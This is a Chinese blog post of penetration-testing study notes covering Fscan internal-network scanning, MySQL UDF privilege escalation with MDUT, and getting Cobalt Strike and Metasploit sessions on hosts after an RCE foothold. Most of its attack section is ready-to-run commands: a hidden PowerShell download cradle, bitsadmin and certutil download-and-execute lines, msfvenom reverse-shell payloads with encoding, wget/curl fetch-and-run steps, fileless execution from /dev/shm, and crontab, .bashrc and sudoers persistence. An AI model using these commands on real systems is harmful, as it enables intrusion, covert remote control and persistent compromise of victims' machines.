当前位置: 首页 > news >正文

第十五周Fscan和利用漏洞上线远程和数据库提权上线远控

上周我们体验了黑客是如何进行内网渗透的,我们是指定使用的ms17_010漏洞的。那我们如何知道我们的目标有什么漏洞了。

这里我就要介绍个工具

Fscan

⼀款内网综合扫描工具,方便⼀键自动化、全方位漏扫扫描。
  1. 基于 ICMP 的主机存活探测:快速识别网络中的活跃主机设备。(就是ping命令,不过开启防火墙时候有可能扫描不到的)
  2. 全面的端口扫描:系统地检测目标主机的开放端口情况。
  3. 常用服务密码爆破:支持 SSH、SMB、RDP 等多种协议的身份认证测试。
  4. 数据库密码爆破:覆盖 MySQL、MSSQL、Redis、PostgreSQL、Oracle 等主流数据库系统。
  5. 网络信息收集:包括 NetBIOS 探测和域控制器识别。
  6. 系统信息获取:能够读取目标系统网卡配置信息。
  7. 安全漏洞检测:支持 MS17-010 等高危漏洞的识别与检测。
  8. 网站信息收集:自动获取网站标题信息。
  9. Web 指纹识别:可识别常见 CMS 系统与 OA 框架。
  10. 漏洞扫描能力:集成 WebLogic、Struts2 等漏洞检测,兼容 XRay POC。
  11. Redis 利用:支持写入公钥或植入计划任务。
  12. SSH 远程执行:提供 SSH 命令执行功能。
  13. MS17-010 利用:支持 ShellCode 注入,可实现添加用户等操作。
  14. 扫描结果存储:将所有检测结果保存至文件,便于后续分析。

下载地址是在:Fscan-wiki | 安全扫描知识库

不过fscan在2.0以上就不提供代码了,需要自己使用源码编译,程序使用的是go语言。

# 基础编译
go build -ldflags="-s -w" -trimpath main.go# UPX压缩(可选)
upx -9 fscan

下载的是二进制:Releases · shadow1ng/fscan 1.8版本的(这个全是英文的。)

安装好后打开命令行输入fscan.exe运行就行了

工具的使用

fscan.exe -h 192.168.x.x (全功能、ms17010、读取⽹卡信息)
也可以扫描c段
fscan.exe -h 192.143.x.x/24

不过因为这玩意用的是主机存活探测,所有有可能会失误,就是扫描不到,因为有的防火墙完全有能力阻止他人 ping 通目标主机。

我使用了扫描C段,另一个靶场开着的,可就是没有看到相应的信息,一般遇到这种情况原本某个主机有漏洞,但是因为防火墙而被跳过扫描是没办法的,毕竟有那么多的IP。

这玩意相当于钓鱼一样,在有靶场的地方我们就好比在很多鱼的水库里面钓,而渗透就像是野钓,在一个陌生的河流,你不知道有不有鱼,有什么样的鱼。

只有关闭公网的防火墙才可能发现漏洞

红色意味漏洞

而且这个不止可以扫内网,还可以整其他的。

利用RCE漏洞上线远程

通过 Web 渗透获取 RCE 漏洞后,下载后门文件到目标主机并执行以上线 CS 或 MSF,实现文件下载执行的方式主要如下:

第一种方式:远程下载文件到本地再执行

先将后门文件从远程服务器下载至目标主机的本地磁盘,完成文件落地后,再通过命令或脚本执行该后门文件。(就是自己先搭建一个网站并且把 木马文件放进去,在控制肉鸡访问网站来下载木马)

第二种方式:远程下载执行(无文件落地)

直接在目标主机内存中加载并执行远程后门文件,整个执行过程中不会在目标主机磁盘上生成二进制文件,这种方式已成为后门文件下载执行的首要方式。

不管哪个方法,都是需要托管好木马,得有一个自己的服务器。我们可以使用phpstudy来搭建网站也可以放在github上,还有最简单的方式⽤ Python 快速搭建 HTTP 服务器

python3 -m http.server 8000 # Python 3(默认端⼝ 8000)

在虚拟机创建的服务器就算放在主机也能登录,额,我的不行。

cobaltstrike托管

Windows上线cobaltstrike

先打开cobalt先,找到攻击选Web投递

path什么的无所谓,我们设置的端口记得不要冲突,先选powershell

生成后,直接复制

如果一不小心去掉也可以找回的。

这些命令会直接在内存中执行恶意代码,不落地文件。下面的代码是仅供展示用的

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.x.x.x:8088/a'))"

注意单引号或者双引号这类的
一些命令注入注意单引号或者双引号这类注意闭合,如果有些执行不了可以使用转义符就可以了.

连接

因为我们已经利用RCE漏洞进来了,我们就可以利用shell命令输入刚刚的Web投递,然后cobaltstrike就连上了肉鸡。

Bitsadmin

Bitsadmin 是一个命令行工具,可用于创建下载或上传任务,并监测其进展情况。区别与powershell,它是下载木马后执行然后再删除木马。

cmd.exe /c bitsadmin /transfer daa3 http://192.168.153.136:80/a1 %APPDATA%\
daa3.exe&%APPDATA%\daa3.exe&del %APPDATA%\daa3.exe

certutil

Certutil 可用于备份证书服务,支持从 Windows XP 到 Windows 10 的全系列系统。由于使用 Certutil 下载文件时,目标主机都会留下文件缓存,因此一般建议在下载完成后,及时对缓存文件进行删除操作。注意为Web投递要使用exe

#下载文件
certut^il -urlcache -split -f 生成的投递
#删除缓存
certutil -urlcache -split -f 生成的投递
#查看缓存
certutil -urlcache *

Linux上线metasploit

上面介绍了利用 Cobalt Strike 上线 Windows 系统的方法,下面将介绍 Linux 系统上线 Metasploit 的各种技术方法,包括 payload 生成、传输方式和执行技巧。

生成payload,记住是用elf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.153.136 LPORT=4
444 -f elf > payload.elf
常用变种
# 64位系统
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f el
f > payload64.elf
# 绑定型payload
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=<PORT> -f elf > bind_paylo
ad.elf
# 加密payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -e x8
6/shikata_ga_nai -f elf >

然后启动监听器

use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.153.136
set LPORT 4444
run# ⾃动迁移进程
set AutoRunScript post/linux/manage/migrate
# 多线程处理
set ExitOnSession false
#后台运行
exploit -j

Payload传输方法

直接下载

# 使⽤wget
wget http://192.168.153.136:8081/payload.elf -O /tmp/p && chmod +x /tmp/p &
& /tmp/p
# 使⽤curl
curl http://192.168.153.136:8081/payload.elf -o /tmp/p(下载到tmp,但是还不能运行) && chmod +x /tmp/p(给权限) && /tmp/p

分块传输

# 分割payload
split -b 500k payload.elf payload_part_
# ⽬标机重组
cat payload_part_* > payload.elf

编码传输

# Base64编码
base64 payload.elf > payload.b64
# ⽬标机解码执⾏
base64 -d payload.b64 > payload.elf

Payload执行技巧

基础执行

chmod +x payload.elf
./payload.elf &

内存执行(不落盘), /dev/shm 是内存⽂件系统,重启后消失, 比 /tmp 更隐蔽

curl -s http://192.168.153.136:8081/payload.elf > /dev/shm/.p && chmod +x /
dev/shm/.p && /dev/shm/.p &
rm -f /dev/shm/.p
持久化方法
# 写⼊crontab
(crontab -l 2>/dev/null; echo "* * * * * /tmp/payload.elf") | crontab -
# 写⼊profile
echo "/tmp/payload.elf &" >> ~/.bashrc
权限提升后执行
# 通过sudo执⾏
echo 'user ALL=(ALL) NOPASSWD: /tmp/payload.elf' >> /etc/sudoers
sudo /tmp/payload.elf

数据库提权上线远控

在内网渗透中,通过弱口令扫描或 Web 主机信息搜集,往往能获取大量数据库的 IP、账号及密码。针对这些数据库如何开展进一步渗透,以往通常依赖安全工程师进行手动测试。

MDUT简介

MDUT 全称 Multiple Database Utilization Tools,是一款中文的数据库跨平台利用工具,集合了多种主流的数据库类型。该工具基于前人的 SQLTOOLS 开发(向 SQLTOOLS 致敬),旨在将常见的数据库利用手段整合到一个程序中,打破各类数据库利用工具因依赖不同环境而导致使用不便的隔阂。此外,工具以 JAVAFx 作为 GUI 操作界面,界面美观。同时,程序支持多数据库同时操作,每种数据库相互独立,极大方便了网络安全工作者的使用。

MDUT-Extend 是对原版 MDUT 的增强修复版本,围绕功能性和稳定性进行了优化与修复,提升了工具的易用性和可靠性,让数据库利用过程更加顺畅。GitHub - DeEpinGh0st/MDUT-Extend-Release: MDUT-Extend(扩展版本)

MDUT-Extend 需要使用jdk8来启动,windows渗透虚拟机中直接启动startup.bat即可,也可以
放到其他地方使用,注意修改JAVA_HOME的路径

UDF提权

什么是UDF

UDF(User Defined Function,用户自定义函数)是 MySQL 的一个扩展接口,用于拓展 MySQL 的功能。用户可通过自定义函数实现 MySQL 自身无法完成的操作,其文件后缀为 .dll(Windows 系统)或 .so(Linux 系统),通常使用 C 语言编写。

UDF 提权本质上并非真正意义上的权限提升,它只是借助当前 MySQL 的运行权限来执行系统命令。若 MySQL 的运行权限过低,这种提权方式同样没有太大实际意义!!!

提权条件

  • MySQL 允许导入导出文件的前提是 secure_file_priv 的值为空(注意:为空不等于为 NULL,若该值为 NULL 则完全无法使用 UDF)。
  • UDF 提权需要高权限用户(如 root)启动 MySQL。该账号需具备对数据库 mysql 的 insert 和 delete 权限,实际是为了操作数据库中的 func 表,因此 func 表也必须存在。只有具备这些权限,才能将文件写入目标文件夹,否则大概率会写入失败。
  • MySQL 不能开启 --skip-grant-tables 参数。开启该参数后,UDF 无法被加载,该参数默认处于未开启状态。

所以我这个没法UDF提权,必须进行更改

找到D:\phpstudy_pro\Extensions\MySQL5.7.26

上线cobaltstrike
使用powershell上线。注意需要对单引号进行转移,否则无法执行命令。
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloads
tring(\'http://192.168.153.136:80/a\'))"

http://www.dtcms.com/a/568551.html

相关文章:

  • 第5章 所有权系统
  • 从零开始学Flink:事件驱动
  • 机器学习实现逻辑回归-癌症分类预测
  • Kafka 从入门到精通完整指南
  • 常见二三维GIS数据分类及处理流程图
  • LLM结构化输出:约束解码、CFG和response_format
  • 做网站麻烦不文山网站建设求职简历
  • wordpress网站静态页面外国食品优秀设计网站
  • hybrid
  • C++中malloc、free和new、delete的区别
  • 计算机视觉:python车辆行人检测与跟踪系统 YOLO模型 SORT算法 PyQt5界面 目标检测+目标跟踪 深度学习 计算机✅
  • 提高肠氧饱和度测量精度的新技术评估
  • 【数据集+源码+文章】基于yolov8+streamlit的12种水果品质、成熟度检测系统
  • Camera参数(3A)
  • 【C++:搜索二叉树】二叉搜索树从理论到实战完全解读:原理、两种场景下的实现
  • 高性能网络编程实战:用Tokio构建自定义协议服务器
  • H265 vs AV1 vs H266帧内块拷贝差异
  • CSS 中 `data-status` 的使用详解
  • 舟山企业网站建设公司微信小程序麻将辅助免费
  • VMware替代 | 详解ZStack ZSphere产品化运维六大特性
  • 缓存击穿,缓存穿透,缓存雪崩的原因和解决方案(或者说使用缓存的过程中有没有遇到什么问题,怎么解决的)
  • 关于数据包分片总长度字段的计算和MF标志位的判断
  • 手机网站建站流程网站建设卩金手指科杰
  • BuildingAI 用户信息弹出页面PRD
  • ​Oracle RAC灾备环境UNDO表空间管理终极指南:解决备库修改难题与性能优化实战​
  • 《uni-app跨平台开发完全指南》- 02 - 项目结构与配置文件详解
  • 【数据分析】基于R语言的废水微生物抗性分析与负二项回归模型建模
  • 深圳专业网站公司注册查询网站
  • k8s --- resource 资源
  • 神经网络之反射变换